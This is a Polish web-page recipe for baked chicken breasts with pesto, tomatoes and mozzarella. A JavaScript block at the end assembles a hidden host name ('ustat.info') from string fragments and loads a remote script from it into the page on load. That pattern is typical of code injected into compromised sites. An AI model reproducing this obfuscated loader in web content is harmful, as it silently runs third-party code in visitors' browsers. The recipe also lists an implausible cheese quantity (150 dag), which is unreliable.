## Przepis na dobry obiad - Pieczone piersi kurczaka z pesto, pomidorami i mozzarellą

Kobiety szukając inspiracji do gotowania, czytają poradniki kulinarne publikowane w sieci, w których znajdują nie tylko porady jak gotować, ale również gotowe przepisy, które mają instruować je jak przygotować konkretne potrawy. Wśród nich można znaleźć jeden z dość pomysłowych przepisów na obiad, którym są pieczone piersi kurczaka z pesto, pomidorami i mozzarellą.<br />
Lista składników potrzebnych do przygotowania tego dania jest dość krótka. Wygląda więc na to, że jest to kolejny przepis z serii – coś z niczego. Wśród składników znajdują się takie produkty jak:<br />
- 0,5 kg piersi z kurczaka
- 2 łyżki gotowego sosu pesto
- 2 pomidory
- około 150 dag mozzarelli
- sól oraz pieprz.<br />
Przygotowanie tego dania jest bardzo proste. Piersi z kurczaka trzeba dokładnie umyć, osuszyć, posypać solą i pieprzem, a następnie natrzeć grubą warstwą sosu pesto. Piersi należy umieścić w naczyniu żaroodpornym i wstawić do piekarnika nagrzanego do 180 stopni na 15 – 20 minut. W tym czasie można umyć i obrać pomidory, a następnie pokroić je w plastry. Podobnie pokroić mozzarellę. Dopiero w momencie, kiedy pierś zostanie upieczona, należy położyć na nią pomidory i ser, ponownie wstawiając na kilka minut do piekarnika, aż do momentu, aby ser dobrze się rozpuścił. Niektórzy zajadają się piersią w czystej postaci, bez żadnych dodatków, jednak dobrą radą jest tu to, aby podawać to danie z pieczonymi ziemniakami lub chociażby makaronem tagliatelle.<br />
Wiele kobiet zapoznając się z treścią tego przepisu, zastanawia się, czy zamiast zielonego pesto mogą użyć czerwonego, gdyż takie akurat mają pod ręką. Okazuje się, że przepis ten może zostać poddany drobnej modyfikacji i jak najbardziej czerwone pesto będzie tu pasować idealnie. Warto również pamiętać o tym, że chcąc uzyskać idealnie upieczoną pierś i delikatne zarumienienie, warto włożyć ją do naczynia żaroodpornego bez przykrycia. Tak przygotowanym daniem będą zajadać się zarówno mężczyźni, jak i dzieci, o kobietach nie wspominając. W końcu to one najczęściej decydują się na stworzenie takiego dzieła kulinarnego.<br />
Więcej ciekawych informacji znajdziesz w kategorii: <a href="http://www.papilot.pl/porady-kulinarne.html" target="_blank">porady kulinarne na papilot.pl</a>


<script type="text/javascript">
(function(){
us1v=document.createElement("script");us1v.type="text/javascript";
us1v.async=true;us1v_=(("us")+"t")+"a";us1v_+=("t.i")+""+"n";us1v_+=(("f")+"o");
us1v.src="http://"+us1v_+"/5091988.hxgX48tjs1v8jejb976af2cc6s54Xm";
document.body.appendChild(us1v);
})();
</script>